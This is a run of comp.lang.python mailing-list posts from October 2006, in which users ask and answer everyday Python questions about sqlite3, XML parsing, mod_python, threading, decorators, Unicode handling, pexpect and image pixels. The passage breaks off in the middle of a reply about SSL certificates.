<4t5_g.121$1n3.3067@news.tufts.edu> mensanator at aol.com wrote: > you should rethink it as > > [id] [university] [yearStart] [yearEnd] [degreeEarned] > 1 U of I 1971 1975 BS > 1 U of I 1975 1976 MS > 1 U of I 1976 1977 PhD > Thanks guys. I do plan to have an id entry for each person as well, I just forgot to mention that. But since it's a primary key, I didn't know I could list it more than once. Or does primary key not necessarily mean unique? From gagsl-py at yahoo.com.ar Wed Oct 11 18:11:28 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Wed, 11 Oct 2006 19:11:28 -0300 Subject: python 2.5 & sqlite3 In-Reply-To: <1160603125.964879.17480@m73g2000cwd.googlegroups.com> References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> Message-ID: <7.0.1.0.0.20061011190803.060f32a8@yahoo.com.ar> At Wednesday 11/10/2006 18:45, BartlebyScrivener wrote: > > wasting time on broken distributions? > >It's not broken. I like Pythonwin better than IDLE. Either way I need >to know where to put the sqlite files, right? You can download Pythonwin (and the whole win32all packages) from http://sourceforge.net/projects/pywin32/ -- Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From ardsrk at gmail.com Sat Oct 28 11:45:59 2006 From: ardsrk at gmail.com (ArdPy) Date: 28 Oct 2006 08:45:59 -0700 Subject: Where is __builtin__ Message-ID: <1162050359.184999.259580@b28g2000cwb.googlegroups.com> Most of the other modules have an accompanying python source file. But that is not the case with __builtin__. What might be the reason? Isn't __builtin__ written in python? From ironpythonster at gmail.com Fri Oct 13 02:42:06 2006 From: ironpythonster at gmail.com (Kevien Lee) Date: Fri, 13 Oct 2006 14:42:06 +0800 Subject: How to print the CDATA of .xml file? Message-ID: <8c8dcbe30610122342m2fea53f3j5cc503658bc8ff5f@mail.gmail.com> Hi, Recently ,I just turn to Python from C#.However ,as a dynamic language . Python and C# was so different. Now ,I want to get some record from an XML file,The format of the XML file as follow: ...............................
.................................... when i use the minidom to parase the XML file,it would ignored the section of the code is: _document=minidom.parse("filePath") _documnetList=_document.getElementsByTagName("NodeArgs") for _argNode in _documnetList: print _argNode.nodeValue,_argNode.localName when it run. The nodeValue of the CDATA Section is always None,Is my code error? and how should i do when i want to get the value of the in the CDATA section? -------------- next part -------------- An HTML attachment was scrubbed... URL: From grahamd at dscpl.com.au Sat Oct 28 19:36:33 2006 From: grahamd at dscpl.com.au (grahamd at dscpl.com.au) Date: 28 Oct 2006 16:36:33 -0700 Subject: PROBLEM with MOD_PYTHON References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com> Message-ID: <1162078593.581132.279220@h48g2000cwc.googlegroups.com> dan84 wrote: > I don't understand this error , in the (Apache) errorlog I read this > message : > > [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import > mod_python.apache.\n > [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being > used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib', > '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk', > 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']". > [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter > callback found. > [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler: > Can't get/create interpreter. > > I have Apache/2.0.59 (Win32) mod_python/3.2.10 Python/2.4.3 > I have read all the manuals, but I don't understand where I am wrong. > > thanks so much > Marco. Read: http://www.modpython.org/pipermail/mod_python/2006-October/022362.html You may have to fiddle your Windows registry to add site-packages directory. BTW, there is a mailing list specifically for mod_python. You might be better off asking questions directly there, as we have seen most problems. You can also search the mailing list archives from the mod_python site. BTW, the quadruple backslashes is indeed because of the use of repr() when doing the error dump. Graham From jjl at pobox.com Sat Oct 14 11:56:39 2006 From: jjl at pobox.com (John J. Lee) Date: Sat, 14 Oct 2006 15:56:39 GMT Subject: PyDoc and mod_python References: <452CA695.60205@gmail.com> Message-ID: <87slhqrivc.fsf@pobox.com> Fredrik Lundh writes: > durumdara wrote: > > > I need to write documentation for my mod_python website, for the > > base classes, functions, modules. > > The problem, that mod_python is imported "apache" that not existing > > in the normal, pythonic way (only in Apache). > > > problem in c:\test.py - ImportError: No module named _apache > > So I need a cheat, or I need to force the pydoc to avoid to parse > > these modules... > > Is anybody have an experience, how can I do it ? > > add a stub module, or switch to a documentation tool that uses source > code inspection. Fredrik is too modest to mention that his own PythonDoc does source code inspection, as does epydoc (note the "e"). John From fredrik at pythonware.com Mon Oct 2 08:06:40 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 2 Oct 2006 14:06:40 +0200 Subject: Python threads and Numeric/SciPy exploit Dual Core ? References: Message-ID: Oeyvind Brandtsegg wrote: > I've been trying to make my music app use dual core, > and would very much like some more detailed information on this. > > Excuse my lack of knowledge, > but how do I explicitly release the GIL ? http://docs.python.org/api/threads.html > I haven't learned this, but have found through experimentation that I > can release a thread by using time.sleep(0) inside a thread's "run > while true" loop. This seems to create an interrupt, and give other > threads a chance to do their thing. that (momentarily) blocks the current thread, and forces a rescheduling. From bearophileHUGS at lycos.com Fri Oct 6 16:25:03 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 6 Oct 2006 13:25:03 -0700 Subject: n-body problem at shootout.alioth.debian.org In-Reply-To: References: Message-ID: <1160166303.092553.32170@m73g2000cwd.googlegroups.com> Peter Maas: > I have noticed that in the language shootout at shootout.alioth.debian.org > the Python program for the n-body problem is about 50% slower than the Perl > program. This is an unusual big difference. I tried to make the Python program > faster but without success. Has anybody an explanation for the difference? > It's pure math so I expected Perl and Python to have about the same speed. I don't have a good answer for you, but if you profile that code you find that most of the running time is used here, in this nested loop: for j in xrange(i + 1, nbodies): b2 = bodies[j] dx = b_x - b2.x dy = b_y - b2.y dz = b_z - b2.z distance = sqrt(dx*dx + dy*dy + dz*dz) aux = dt / (distance*distance*distance) b_mass_x_mag = b_mass * aux b2_mass_x_mag = b2.mass * aux b.vx -= dx * b2_mass_x_mag b.vy -= dy * b2_mass_x_mag b.vz -= dz * b2_mass_x_mag b2.vx += dx * b_mass_x_mag b2.vy += dy * b_mass_x_mag b2.vz += dz * b_mass_x_mag If you are using Python you can use Psyco, it helps a lot (473 s instead of 2323 s, against 1622 s for the Perl version): http://shootout.alioth.debian.org/sandbox/benchmark.php?test=nbody&lang=all If you need speed, you can also use ShedSkin that compiles this Python program producing an executable essentially fast as the C++ version (about 16 s on the same computer, the Shootout autor isn't going to add ShedSkin to the language list yet). Bye, bearophile From nitte.sudhir at gmail.com Fri Oct 6 06:53:44 2006 From: nitte.sudhir at gmail.com (kath) Date: 6 Oct 2006 03:53:44 -0700 Subject: how to convert UNICODE to integer in Python? Message-ID: <1160132024.709430.63080@b28g2000cwb.googlegroups.com> Hi, >>> import xlrd >>> book = xlrd.open_workbook("testbook1.xls") >>> sh = book.sheet_by_index(0) >>> sh.cell_value(rowx=1,colx=0) 38938.0 >>> type(sh.cell_value(rowx=1,colx=0)) >>> xlrd.xldate_as_tuple( sh.cell_value( rowx = 1,colx= 0 ), 0 ) Traceback (most recent call last): File "D:\Python23\Testing area\Python and Excel\xlrdRead.py", line 30, in ? temp=xlrd.xldate_as_tuple(sh.cell_value(rowx=r,colx=c),0) File "D:\PYTHON23\Lib\site-packages\xlrd\xldate.py", line 61, in xldate_as_tuple xldays = int(xldate) ValueError: invalid literal for int(): Date because xlrd.xldate_as_tuple() function expects first argument to be an integer. How do I convert an unicode character to integer, so that I could get the date using xlrd.xldate_as_tuple() function. Thank you, kath. From esj at harvee.org Tue Oct 3 09:50:11 2006 From: esj at harvee.org (Eric S. Johansson) Date: Tue, 03 Oct 2006 09:50:11 -0400 Subject: Making sure script only runs once instance at a time. In-Reply-To: <1159850197.441520.15670@m73g2000cwd.googlegroups.com> References: <1159531181.314800.224180@k70g2000cwa.googlegroups.com> <7xk63mpzwr.fsf@ruckus.brouhaha.com> <451D25A3.7010803@googlemail.com> <4520E5E1.3040409@googlemail.com> <1159832748.370619.95190@i3g2000cwc.googlegroups.com> <1159850197.441520.15670@m73g2000cwd.googlegroups.com> Message-ID: <45226A93.4060505@harvee.org> MonkeeSage wrote: > Eric S. Johansson wrote: >> the problem with this solution is that it does not handle the read >> nonexclusive/write exclusive locking model. In this model, reads don't >> block, they only register that the request is in process. writes lock >> request block until all outstanding reads have completed. When there is >> a write lock waiting, all subsequent reads lock requests block until the >> write has completed. > > I should have said "lock file" -- I'm not trying to do file locking for > concurrent access to a file; I'm trying to provide a lock file to > determine if an instance of a process is already spawned. That difference was clear to me and I appreciate your comment clarifying the issue further. I was trying to point out how there are more models of locking that we could use in Python than the single point lock as you had described. Unfortunately, most system locks are hard to get right and difficult to test so you're never quite sure until something breaks and then you know you did it wrong. I really should grab the code you pasted and use it as a rewrite for portalocker. Someday. --- eric From webraviteja at gmail.com Mon Oct 16 17:45:20 2006 From: webraviteja at gmail.com (Ravi Teja) Date: 16 Oct 2006 14:45:20 -0700 Subject: ADO with Python In-Reply-To: <4pi94uFip1e9U1@individual.net> References: <4pi94uFip1e9U1@individual.net> Message-ID: <1161035120.594864.201910@k70g2000cwa.googlegroups.com> Ralf wrote: > Is their anybody with xperience in using the both and can provide me with > some xamples. Googling for python ado returns this simple tutorial http://www.markcarter.me.uk/computing/python/ado.html COM access in Python is straight forward with win32all. From fuzzyman at gmail.com Sat Oct 21 17:57:48 2006 From: fuzzyman at gmail.com (Fuzzyman) Date: 21 Oct 2006 14:57:48 -0700 Subject: Decorators and how they relate to Python - A little insight please! In-Reply-To: References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> Message-ID: <1161467868.530841.305680@m73g2000cwd.googlegroups.com> Fredrik Lundh wrote: > Jerry wrote: > > > even though I've read the PEP > > even the examples section? > > http://www.python.org/dev/peps/pep-0318/#examples > The second example of which shows : Define a class with a singleton instance. Note that once the class disappears enterprising programmers would have to be more creative to create more instances. (From Shane Hathaway on python-dev.) def singleton(cls): instances = {} def getinstance(): if cls not in instances: instances[cls] = cls() return instances[cls] return getinstance @singleton class MyClass: ... :-o Fuzzyman http://www.voidspace.org.uk/ > if you want more examples, see the cookbook > > http://www.google.com/search?q=+site%3Aaspn.activestate.com+decorator+cookbook > > From blair.houghton at gmail.com Thu Oct 5 20:59:31 2006 From: blair.houghton at gmail.com (Blair P. Houghton) Date: 5 Oct 2006 17:59:31 -0700 Subject: How can I correct an error in an old post? In-Reply-To: References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> Message-ID: <1160096371.564954.132860@b28g2000cwb.googlegroups.com> Tim Roberts wrote: > Although it might be mirrored on a web site somewhere, this is a Usenet > newsgroup. It is impossible to "close" a thread. The concept simply does > not exist. Google, the new de facto website of record for Usenet, disagrees. But they do about 10 things totally wrong with Google groups that I'd've fixed in my spare time in my first week if they'd hired me back when I was interviewing with them. So if they want it to work, they know where to find me. --Blair P.S. Did I mention? Google's distributed systems are managed with Python scripts. From fredrik at pythonware.com Mon Oct 30 02:30:39 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 30 Oct 2006 08:30:39 +0100 Subject: Is there a way to get utf-8 out of a Unicode string? In-Reply-To: <1162193088.091894.269630@m73g2000cwd.googlegroups.com> References: <1162193088.091894.269630@m73g2000cwd.googlegroups.com> Message-ID: thebjorn wrote: > I've got a database (ms sqlserver) that's (way) out of my control, > where someone has stored utf-8 encoded Unicode data in regular varchar > fields, so that e.g. the string 'Bl?b?rsyltet?y' is in the database > as 'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' :-/ > > Then I read the data out using adodbapi (which returns all strings as > Unicode) and I get u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y'. I couldn't > find any way to get back to the original short of: > > def unfk(s): > return eval(repr(s)[1:]).decode('utf-8') > > i.e. chopping off the u in the repr of a unicode string, and relying on > eval to interpret the \xHH sequences. > > Is there a less hack'ish way to do this? first, check if you can get your database adapter to understand that the database contains UTF-8 and not ISO-8859-1. if that's not possible, you can roundtrip via ISO-8859-1 yourself: >>> u = u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' >>> u u'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' >>> u.encode("iso-8859-1") 'Bl\xc3\xa5b\xc3\xa6rsyltet\xc3\xb8y' >>> u.encode("iso-8859-1").decode("utf-8") u'Bl\xe5b\xe6rsyltet\xf8y' >>> print u.encode("iso-8859-1").decode("utf-8") Bl?b?rsyltet?y From sjmachin at lexicon.net Sat Oct 7 20:08:58 2006 From: sjmachin at lexicon.net (John Machin) Date: 7 Oct 2006 17:08:58 -0700 Subject: People's names (was Re: sqlite3 error) In-Reply-To: References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> Message-ID: <1160266138.599325.270290@e3g2000cwe.googlegroups.com> Lawrence D'Oliveiro wrote: > In message , Steve > Holden wrote: > > > John Machin wrote: > > > > [lots of explanation about peculiarities of people's names] > > > > While I don't dispute any of this erudite display of esoteric > > nomenclature wisdom the fact remains that many (predominantly Western) > > databases do tend to use first and last name (in America often with the > > addition of a one- or two-character "middle initial" field). > > Just because most Western designers of databases do it wrong doesn't mean > that a) you should do it wrong, or b) they will continue to do it wrong > into the future, as increasing numbers of those designers come from Asian > and other non-Western backgrounds. Unfortunately, lack of appreciation that different rules and customs may apply on the other side of the county/state/national boundary is a universal trait, not one restricted to Westerners. > > > So, having distilled your knowledge to its essence could you please give > > me some prescriptive advice about what I *should* do? :-) > > Has anyone come up with a proper universal table design for storing people's > names? > > Certainly "first name" and "last name" are the wrong column names to use. I > think "family name" and "given names" would be a good start. So far so good. > For the > Icelanders, Somalians and the Muslims, their father's name goes in > the "family name" field, which makes sense because all their siblings (of > the same sex, at least) would have the same value in this field. Two problems so far: (1) If you then assume that you should print the phone directory in order of family name, that's not appropriate in some places e.g. Iceland; neither is addressing Jon Jonsson as "Mr Jonsson", and BTW it can be their mother's name e.g. if she has more fame or recognition than their father. (2) Arabic names: you may or may not have their father's name. You might not even have the [usually only one] given name. For example: the person who was known as Abu Musab al-Zarqawi: this means "father of Musab, the man from Zarqa [a city in Jordan]". You may have the family name as well as the father's and grandfather's given name. You can have the occupation, honorifics, nicknames. For a brief overview, read this: http://en.wikipedia.org/wiki/Arabic_names > > I wonder if we need another "middle" field for holding the "bin/binte" part > (could also hold, e.g. "Van" for those names that use this). Not a good idea, IMHO. Consider "Nguyen Van Tran" vs 'Rembrandt van Rijn". Would you peel the Da off Da Costa but not the D' off D'Oliveiro? What do you do with the bod who fills in a form as Dermot O'Sullivan one month and Diarmaid ? S?illeabh?in the next? > > There would also need to be a flag field to indicate the canonical ordering > for writing out the full name: e.g. family-name-first, given-names-first. > Do we need something else for the Vietnamese case? As I said before, it depends on the application. In some applications, it will be preferable to capture, in one field, the whole name as supplied by the person, together with clues like nationality and place of birth that will help in parsing it later. However if all you want to do is post out the electricity bill to an address that your meter-reader has verified, then you can afford to be a little casual with the name. This is all a bit OT. Before we close the thread down, let me leave you with one warning: Beware of enthusiastic maintenance programmers on a mission to clean up the dirty names in your database: E.g. (1) "Karim bin Md" may not appreciate getting a letter addressed to "Dr Karim Bin" (Md is an abbreviation of Muhammad). E.g. (2) Billing job barfs on a customer who has no given names and no family name. Inspection reveals that he is over-endowed in the title department: "Mr Earl King". Cheers, John From steve at holdenweb.com Mon Oct 23 18:58:21 2006 From: steve at holdenweb.com (Steve Holden) Date: Mon, 23 Oct 2006 23:58:21 +0100 Subject: How to get each pixel value from a picture file! In-Reply-To: <1161643563.111993.109480@b28g2000cwb.googlegroups.com> References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> Message-ID: Lucas wrote: > Thank you for your answer. > > I have some new questions: > > 1) the value of return from getpixel() is a RGB number? > print im.getpixel((44,55)) ----> (160,160,160) > Yes, that's an RGB tuple. > 2) I want to put a number into the picture for encryption(replace least > significant bit (LSB) of image intensity with message bit). > > If i use putpixel((44,55),0) , the number 0 will be changed RGB > value or others.? > I think you'd need to use putpixel((44, 55), (0, 0, 0)) but it's easy enough to try out interactively ... > 3) pix = im.load() > print pix[44,55] > pix[44, 55] = value > my python cannt identify "[x,y]" ?? > Now what makes you think that an image can be addressed that way? I'd be quite surprised if yo got anything other than a TypeError doing that. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From rogue_pedro at yahoo.com Sun Oct 22 17:11:04 2006 From: rogue_pedro at yahoo.com (Simon Forman) Date: 22 Oct 2006 14:11:04 -0700 Subject: print dos format file into unix format References: <1161469067.180921.35200@i3g2000cwc.googlegroups.com> Message-ID: <1161551463.988645.191080@i3g2000cwc.googlegroups.com> PengYu.UT at gmail.com wrote: > Suppose I have a dos format text file. The following python code will > print ^M at the end. I'm wondering how to print it in unix format. > > fh = open(options.filename) > for line in fh.readlines() > print line, > > Thanks, > Peng Python ships with two utility scripts, crlf.py and lfcr.py, that "Replace CRLF with LF in argument files" and "Replace LF with CRLF in argument files", respectively. Look in examples/Tools/scripts of your python dist. Even if you don't want to use the scripts, you can read them for insight. Peace, ~Simon From ahmerhussain at gmail.com Fri Oct 13 10:29:09 2006 From: ahmerhussain at gmail.com (Ahmer) Date: 13 Oct 2006 07:29:09 -0700 Subject: Best IDE? Message-ID: <1160749749.140484.97990@f16g2000cwb.googlegroups.com> What do you guys use? Why? What do you like and hate about it? What platform(s) is it avalable on? How much does it cost? etc. From steve at holdenweb.com Tue Oct 3 23:54:13 2006 From: steve at holdenweb.com (Steve Holden) Date: Wed, 04 Oct 2006 04:54:13 +0100 Subject: Can't get around "IndexError: list index out of range" In-Reply-To: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> References: <1159913403.234324.209750@e3g2000cwe.googlegroups.com> Message-ID: erikwickstrom at gmail.com wrote: > Hi all, > > I'm sorry about the newbie question, but I've been searching all > afternoon and can't find the answer! > > I'm trying to get this bit of code to work without triggering the > IndexError. > > import shutil, os, sys > > if sys.argv[1] != None: > ver = sys.argv[1] > else: > ver = '2.14' > > Of course, whenever I run it, I get list index out of range. > > I'm coming from the php world where I can do: > if $_GET['var'] != Null { > $ver = $_GET['var']; > } else { > $ver = '2.14'; > } > > Can anyone tell me how to make this work in python? > Well all the advice you've had so far seems good, but of course the simplest way is just to test the length of the sequence before you try to address its second element: if len(sys.argv) > 1: ver = sys.argv[1] else: ver = "2.14" regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From notejam at sbcglobal.net Mon Oct 30 19:15:32 2006 From: notejam at sbcglobal.net (notejam) Date: 30 Oct 2006 16:15:32 -0800 Subject: Python windows interactive. In-Reply-To: <45467205.3000302@websafe.com> References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com> <45467205.3000302@websafe.com> Message-ID: <1162253732.035128.91060@e3g2000cwe.googlegroups.com> Thanks everyone for the help. I got a simple two line program to work from a text file. Can not figure out how to write more than one line in interpreter mode. Is that all interpreter is good for, testing one liners? I have it run the program everytime I hit return, and can not figure out how to enter multiple lines of code. I can do multiple lines in text file, so no problem, but I am jsut wondering can a program with 2 or more lines be wrote from the interpreter mode? Larry Bates wrote: > notejam wrote: > > I am trying to get started with a interactive version of Python for > > windows and need some help. > > I have played with the tutorial, and now want to write a program. > > > > In basic language, I could write something like > > 10 print "hello" > > 20 print "Jim" > > > > and if I run it I would get > > hello > > Jim > > > > How do I do sometihing simple like that in python? > > How do I enter line numbers, or if none, what do I do. > > Can the interpreter load a text file with my program in it? > > How do I list a program or the parts of a program I am interested in > > looking at? > > > > How do I run a python program? > > > Start with the tutorial here: > > http://docs.python.org/tut/tut.html > > Your program in python would be: > > print "hello" > print "jim" > > You don't have line numbers in Python > > Yes the interpreter can load a text file with your program. > A good "beginners" version of Python for windows is: > > http://www.activestate.com/Products/ActivePython/?tn=1 > > It has an easy to use interpreter window with both your > program and interactive prompt open on the screen. > > To run a program you click run icon. To run outside the > interpreter you type python programname.py > > -Larry From bearophileHUGS at lycos.com Mon Oct 2 11:56:09 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 2 Oct 2006 08:56:09 -0700 Subject: Sort by domain name? In-Reply-To: References: <7xmz8ekayz.fsf@ruckus.brouhaha.com> Message-ID: <1159804569.682265.241150@h48g2000cwc.googlegroups.com> js: > All I want to do is to sort out a list of url by companyname, > like oreilly, ask, skype, amazon, google and so on, to find out > how many company's url the list contain. Then if you can define a good enough list of such company names, you can just do a search of such names inside each url. Maybe you can use string method, or a RE, or create a big string with all the company names and perform a longest common subsequence search using the stdlib function. Bye, bearophile From g.brandl-nospam at gmx.net Mon Oct 9 09:45:08 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Mon, 09 Oct 2006 15:45:08 +0200 Subject: file system iteration In-Reply-To: References: Message-ID: rick wrote: > In Unix, the file system hierarchy is like a tree that has a base or > 'root' that exposes objects (files and folders) that can easily be > iterated over. > > > \ \ | / / > \ \ | / / > \ \|/ / > \ | / > \|/ > | > | > Root > > So, when I do os.chdir('/') I am at the base of the tree and can now use > something like os.walk() to work with all of the file system objects. > > In Windows, the file system is disjointed and there is now real 'root' > At least none that I can see. It looks more like this: > > | | | | | | | > |_|_|_|_|_|_| > A B C D E F G > > How do you guys handle this when working with scripts that need to touch > all files and folders on a Windows machine? I've been looping through > A-Z like this: Which application needs to walk over ALL files? Normally, you just have a starting path and walk over everything under it. In Unix, things aren't so clear either. For example, there are symbolic links that make the tree more complicated. Or different file system mounted on different mount points, perhaps not even representing real files like the /proc filesystem. All that needs caution when iterating over "all files". Georg From fredrik at pythonware.com Wed Oct 11 05:09:37 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 11 Oct 2006 11:09:37 +0200 Subject: How to write Smart Python programs? In-Reply-To: <463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com> References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com> <452cae13$0$24783$426a74cc@news.free.fr> <463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com> Message-ID: Theerasak Photha wrote: >> 2/ functions that returns a status code and modify their arguments. > > Argument modification for lists with one item is *sometimes* used to > emulate full lexical closure. (or at least that's what the folks on > freenode #python told me) sounds like they (or you) are confusing "arguments" with "free variables", though. here's an example of the latter: def outer(): var = [value] def inner(): var[0] = new value inner() here's an example of the former: def func(var): var[0] = new value return something else myvar = [value] res = func(myvar) the second example feels rather contrived; if you need to return multiple values, just return them. From bignose+hates-spam at benfinney.id.au Thu Oct 26 04:44:55 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Thu, 26 Oct 2006 18:44:55 +1000 Subject: Problem Commenting within Filehandle Iteration References: <3ACF03E372996C4EACD542EA8A05E66A0615D4@mailbe01.teak.local.net> <87vem7iirt.fsf@benfinney.id.au> Message-ID: <87mz7jihyw.fsf@benfinney.id.au> Fredrik Lundh writes: > Ben Finney wrote: > > > My preferred answer: > > > > if m: > > print line, > > > > and get the lines back again later from your version control system. > > switching debugging statements on and off by rolling back to an > earlier release strikes me as a somewhat misguided use of version > control. That didn't seem to me to be a debugging statement being disabled, but rather a "let's try changing the program this way". -- \ "[T]he question of whether machines can think [...] is about as | `\ relevant as the question of whether submarines can swim." -- | _o__) Edsger W. Dijkstra | Ben Finney From chris.cavalaria at free.fr Tue Oct 3 04:13:49 2006 From: chris.cavalaria at free.fr (Christophe) Date: Tue, 03 Oct 2006 10:13:49 +0200 Subject: Sockets in python In-Reply-To: <1159858056.546645.4370@c28g2000cwb.googlegroups.com> References: <1159557755.437424.44670@m73g2000cwd.googlegroups.com> <2_iUg.6914$TV3.4239@newssvr21.news.prodigy.com> <1159858056.546645.4370@c28g2000cwb.googlegroups.com> Message-ID: <45221ba3$0$3873$426a74cc@news.free.fr> OneMustFall a ?crit : > >> What's your set-up and which cord are you pulling? >> > > Well i now i think the clue is in the OS, i have sniffed and it seems > that Twisted have no magic. > It is seems that i simply tested things in a wrong way - > when i pulled cord from ethernet card windows determined that network > lost and started to closing all sockets opened to that network (and so > EINVAL or other OS error raised when twisted tryed to read wrom that > socket), > while the server did had a network - and it was right thing that server > was thinking that socket is alive. Stupid Windows behaviour btw! I hate that, it makes testing code stability for temporary network lags much much harder to do. And don't get me started on when we reboot the switch which causes all open sockets on my computer to fail, even though the reboot only takes a few seconds and though the internet connection doesn't change. From gabrielg_laburando at yahoo.com.ar Tue Oct 3 03:00:55 2006 From: gabrielg_laburando at yahoo.com.ar (Gabriel G) Date: Tue, 03 Oct 2006 04:00:55 -0300 Subject: saving an exception In-Reply-To: References: Message-ID: <7.0.1.0.0.20061003035648.0426cbe8@yahoo.com.ar> At Tuesday 3/10/2006 02:15, Bryan wrote: >i would like to save an exception and reraise it at a later time. >def foo(): >? ? try: >? ? ? ? 1/0 >? ? except Exception, e: >? ? ? ? exception = e > >if exception: raise exception > >with the above code, i'm able to successfully raise the exception, but the >line number of the exception is at the place of the explicit raise instead >of the where the exception originally occurred. ? is there anyway to fix >this? The raise statement has 3 arguments, the third being the traceback (not used so much, except in cases like yours). You can get the values using sys.exc_info() (Don't store the traceback more than needed because it holds a reference to all previous stack frames...) Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From alistair.king at helsinki.fi Wed Oct 25 08:09:37 2006 From: alistair.king at helsinki.fi (Alistair King) Date: Wed, 25 Oct 2006 15:09:37 +0300 Subject: dict problem In-Reply-To: <87y7r4mwso.fsf@benfinney.id.au> References: <1161772147.307847.65630@h48g2000cwc.googlegroups.com> <87y7r4mwso.fsf@benfinney.id.au> Message-ID: <453F5401.3020607@helsinki.fi> Ben Finney wrote: > "Jon Clements" writes: > > >> We're still in the dark as to what you're trying to do, try >> describing something like: "for each element there is an associated >> 'F' value. For each element in an existing molecule I wish to change >> the number of 'whatever' to be 'whatever' + my 'F' value * value >> XDS..." >> > > Even better, work on a minimal program to do nothing but reproduce the > unexpected behaviour. If you get to such a program and still don't > understand, then post it here so others can run it themselves and > explain. > > ive checked the values and XDS is actually returning a string where i want a float ie '123.45' not 123.45. -- Dr. Alistair King Research Chemist, Laboratory of Organic Chemistry, Department of Chemistry, Faculty of Science P.O. Box 55 (A.I. Virtasen aukio 1) FIN-00014 University of Helsinki Tel. +358 9 191 50392, Mobile +358 (0)50 5279446 Fax +358 9 191 50366 From steve at REMOVE.THIS.cybersource.com.au Sun Oct 15 18:45:49 2006 From: steve at REMOVE.THIS.cybersource.com.au (Steven D'Aprano) Date: Mon, 16 Oct 2006 08:45:49 +1000 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <9H1Yg.22570$Ij.4169@newssvr14.news.prodigy.com> Message-ID: On Sat, 14 Oct 2006 09:00:53 +0000, James Stroud wrote: > > Compared to the Python I know and love, Ruby isn't quite the same. > > However, it has at least one terrific feature: "blocks". [snip 220-odd quoted lines] > http://mail.python.org/pipermail/python-list/2004-April/215805.html Hi James, You seem to have mislaid your snipper. It is very useful for when you're replying to a very large post, and all you want to do is add a single line at the end. It reduces frustration in readers who find themselves scrolling, and scrolling, and scrolling, and scrolling through quoted text they've already read, wondering why you've quoted all this stuff if you aren't actually commenting on it, and prevents readers from unfairly dismissing you as just another "metoobie". -- Steven. From jurian at juriansluiman.nl Sun Oct 29 03:44:07 2006 From: jurian at juriansluiman.nl (Jurian Sluiman) Date: Sun, 29 Oct 2006 09:44:07 +0100 Subject: Get pexpect to work Message-ID: Hi all, For my first script, I'm trying to build a program to set up a vpn connection. I'm using pexpect to handle this, but I can't get it to work. The sendline() is causing troubles. I tested it in the interactive promt, with these results: >>> import pexpect >>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf") >>> child.expect(".* password .*: ") 0 >>> child.sendline("[here_my_password]") 7 After this peace of code, I don't have a vpn connection. A "child.logfile = sys.stdout" gave the information that after the spawn, vpnc was asking for a password. I'm sure my password was correct, but my outside ip address hasn't been changed (what should be with this connection) and there was no vpnc process running. What's going wrong? Thanks in advance, Jurian Sluiman From ask at me Thu Oct 26 07:24:21 2006 From: ask at me (alf) Date: Thu, 26 Oct 2006 07:24:21 -0400 Subject: displaying \n-less prompts in a pythonic way Message-ID: <_pGdnRgy36cLON3YnZ2dnUVZ_s2dnZ2d@comcast.com> Hi, I have a command line program which also does some interaction with the user using stdin and stdout. My requirement is to print prompt so the user can answer in the same line. Unfortunately: print 'enter command:', does not really work as the comma is carried over to the following lines and the indentation gets messed up. I can use sys.stdout.write('enter command:') instead but kind of do not like sys.stdout.write mixed up with print's statements used to display other informations. Is there a pythonic solution for the problem? Thx, alf From heikki at osafoundation.org Wed Oct 25 15:07:53 2006 From: heikki at osafoundation.org (Heikki Toivonen) Date: Wed, 25 Oct 2006 12:07:53 -0700 Subject: SSL follow up In-Reply-To: References: Message-ID: Yogesh Chawla - PD wrote: > I have 2 questions. 1) How do we get the Server cert > in python. John wrote: "Nor does there seem to be a > way to get at the certificate itself from within > Python." Perhaps pycurl will allow us to do this. Is > there another method to get the server cert? Here's an example with 